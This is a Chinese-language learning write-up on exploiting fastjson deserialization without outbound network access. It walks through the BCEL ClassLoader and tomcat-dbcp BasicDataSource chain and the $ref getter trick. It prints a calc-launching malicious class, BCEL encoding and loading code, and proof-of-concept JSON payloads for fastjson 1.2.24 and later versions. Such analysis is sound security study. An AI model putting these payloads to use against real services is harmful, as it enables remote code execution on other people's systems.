fastjson不出網學習


前言

fastjson公開的就三條鏈,前兩天我們上篇文章已經分析。TemplatesImpl要求太苛刻了,JNDI的話需要服務器出網才行。今天學習的這條鏈就是可以應對不出網的情況。

BCEL

什么是BCEL

BCEL的全名應該是Apache Commons BCEL,屬於Apache Commons項目下的一個子項目,BCEL庫提供了一系列用於分析、創建、修改Java Class文件的API。就這個庫的功能來看,其使用面遠不及同胞兄弟們,但是他比Commons Collections特殊的一點是,它被包含在了原生的JDK中,位於com.sun.org.apache.bcel摘自P牛BCEL ClassLoader去哪里了

BCEL的簡單使用

BCEL這個包中有個類com.sun.org.apache.bcel.internal.util.ClassLoader,他是一個ClassLoader,但是他重寫了Java內置的ClassLoader#loadClass()方法。 在ClassLoader#loadClass()中,其會判斷類名是否是$$BCEL$$開頭,如果是的話,將會對這個字符串進行decode。可以理解為是傳統字節碼的HEX編碼,再將反斜線替換成$。默認情況下外層還會加一層GZip壓縮。

我們可以編寫一個惡意的類

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

然后使用過BCEL提供的兩個類 RepositoryUtility 來利用: Repository 用於將一個Java Class先轉換成原生字節碼,當然這里也可以直接使用javac命令來編譯java文件生成字節碼; Utility 用於將原生的字節碼轉換成BCEL格式的字節碼:

public class BCEL_T {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        System.out.println(encode);
        Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
//        new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
    }
}

image-20220220212007914

講完BCEL我們大概知道了如何使用,這下看看在fastjson里面的使用吧

BCEL在Fastjson漏洞中的利用

測試環境

jdk8u31
dbcp 9.0.53
fastjson 1.2.24 [1.2.24之后修復了]

這里先貼一下poc[注意看注釋]

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            //這里是tomcat>8的poc,如果小於8的話用到的類是
            //org.apache.tomcat.dbcp.dbcp.BasicDataSource
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

這個poc最開始有點看不懂,這里貼一個其他師傅發的利用鏈,我們來分析下

BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()

image-20220220222829690

不管if是不是true都會進行this.createDataSource().getConnection();這個操作,跟蹤下

image-20220220223038166

然后繼續跟進下到createDriver

image-20220220223056580

到這里就執行了我們的惡意代碼

image-20220220223549881

可以看到這里是Class.forName將類加載進來,並且設置了initialize參數為true【其實就是告訴Java虛擬機是否執⾏”類初始化而staic就是在類初始化加載的】而Class.forName方法實際上也是調用的 CLassLoader 來實現的。所以1和3都是可控的

image-20220220224337775

但現在就有點問題了,我焯。他是怎么調用getConnection的並且返回值是Connection是不滿足geter的

image-20220220224613552

我們回頭去查看這個POC形式

首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 這一整段外面再套一層{},這樣的話會把這個整體當做一個JSONObject,會把這個當做key,值為bbb

將這個 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的時候,FastJson 會對 JSON Key 自動調用 toString() 方法:

image-20220221120558658

而且JSONObject是Map的子類,當調用toString的時候,會依次調用該類的getter方法獲取值。然后會以字符串的形式輸出出來。所以會調用到getConnection方法

具體調試可以看fastjson反序列化之basicdatasource利用鏈

$ref

因為調用geter是有限制的,對於不滿足getter的方法的時候我們該怎么解決呢?

當fastjson>=1.2.36的時候,可以使用$ref方式調用getter

什么是ref

ref是fastjson特有的JSONPath語法,用來引用之前出現的對象

什么又是JsonPath

詳細可以參考:https://goessner.net/articles/JsonPath/ 這里簡單舉個例子

Test.java

public class test {
    private String cmd;

    public void setCmd(String cmd) {
        System.out.println("seter call");
        this.cmd = cmd;
    }

    public String getCmd() throws IOException {
        System.out.println("geter call");
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }
}

觸發代碼

public class ref_fastjson {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        JSON.parse(payload);
    }
}

image-20220221131128719

可以看到geter被調用了但是他是不滿足我們geter調用要求的

我們來解釋一下這個demo

[{"@type":"com.demo.fastjson.test","cmd":"calc"},{"$ref":"$[0].cmd"}]

這其實不就是一個數組嗎,fastjson解析到$ref會判斷為是一個引用,$[0]表示的是數組里的第一個元素,則$[0].cmd表示的是獲取第一個元素的cmd屬性的值。

這里調試一下,看下調用棧

image-20220221132333784

74行就是進行了一些ref的處理沒啥 然后一些賦值增加了一個resolveTask,進入75行

image-20220221133534311

image-20220221133828470

然后繼續進入eval

image-20220221134017802

注意有一個init()

image-2022022113415427

因為不滿足所以直接else,注意看explain()函數,這個函數的作用是把$ref的value解析成segment,Segment是定義在JSONPath類的一個interface,然后explain()會把一個完整的JSONPath拆分成小的處理邏輯,這里就不截圖了 太多了。具體詳細流程看y4師傅學習

最終JSONPath.eval 最終會調用到getPropertyValue 函數,會嘗試調用fieldInfo的get函數或者用反射的方式調用getter

image-20220221135022356

image-20220221135034375

至此流程我們大概就清楚了,那為什么1.2.36之前不行?

這里拿一個1.2.35對比一下差異主要在DefaultJSONParser#handleResovleTask
要求refValue不為null,且必須時JSONObject類

image-20220221140820757

參考

https://paper.seebug.org/1613/
https://jlkl.github.io/2021/12/18/Java_07/
https://mp.weixin.qq.com/s/dvqvaiJG28TZAyMEyIC6Lg
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://blog.csdn.net/solitudi/article/details/120275526
https://ccship.cn/2021/12/21/fastjson%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bbasicdatasource%e5%88%a9%e7%94%a8%e9%93%be/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM